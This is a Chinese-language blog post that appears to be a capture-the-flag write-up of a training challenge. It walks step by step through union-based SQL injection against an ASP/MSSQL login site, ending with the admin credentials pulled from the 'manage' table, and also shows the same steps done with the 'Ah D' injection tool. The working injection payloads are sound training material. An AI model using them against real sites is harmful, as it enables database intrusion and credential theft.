欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

简单的SQL注入

程序员文章站 2022-03-09 22:29:56
...

简单的SQL注入

题目进入显示如下
简单的SQL注入

0X01 手工注入

登录框里有个公告,感觉是突破口,点进去后显示如下

简单的SQL注入

在这里测试是否有注入点

一、判断是否存在注入

id=2 and 1=1

id=2 and 1=2

adodb.field 错误 ‘80020009’

bof 或 eof 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。

/new_list.asp,行 0

简单的SQL注入

说明存在数字型注入

二、判断字段数

id=2 order by 4 

页面显示正常

id=2 order by 5 

页面报错

简单的SQL注入

说明字段数为4

三、判断显示位置

id=-2 union all select 1,2,3,4

显示报错,应该不是过滤导致的,不可能单单就过滤一个union,况且后面查询当前数据库使用的union也没有过滤,怀疑是对输入的类型做了判断。

一个个的测后发现,显示位3为字符型导致出错没有正确显示

id=-2 union all select 1,2,'3',4


简单的SQL注入

四、判断当前数据库

id=-2 union all select 1,db_name(),'3',4

当前数据库为:mozhe_db_v2

这里也可以使用db_name(1)、db_name(2)查询其他数据库

五、判断表

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

xtype=‘u’ 这句话的意思的 在[表]这个表里搜索 xtype 这个字段的u值的表

也就是说 xtype字段里的值是u的就会被搜索出来

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4

表名为:manage

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4

表名:announcement

六、判断列名

id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4

 

得出:id

id=-2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4

得出:username

id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4

得出:password

id=-2 union all select 1,(select top 1 col_name(object_id('manage'),4) from sysobjects),'3',4

得出:空

说明mange表总共有3列,分别为:id、username、password

七、得出用户名密码

id=-2 union all select 1,(select username from manage),'3',4

简单的SQL注入

id=-2 union all select 1,(select password from manage where username in ('admin_mz')),'3',4

得出密码:

简单的SQL注入

0X02 用啊D工具注入

扫描注入点
简单的SQL注入

在注入点检测表段

简单的SQL注入

检测出来后对manage表段进行字段检测

简单的SQL注入
可以看到uesrname 和 password后将这个两个勾上,然后检测内容
简单的SQL注入
得到账户密码。

相关标签: CTF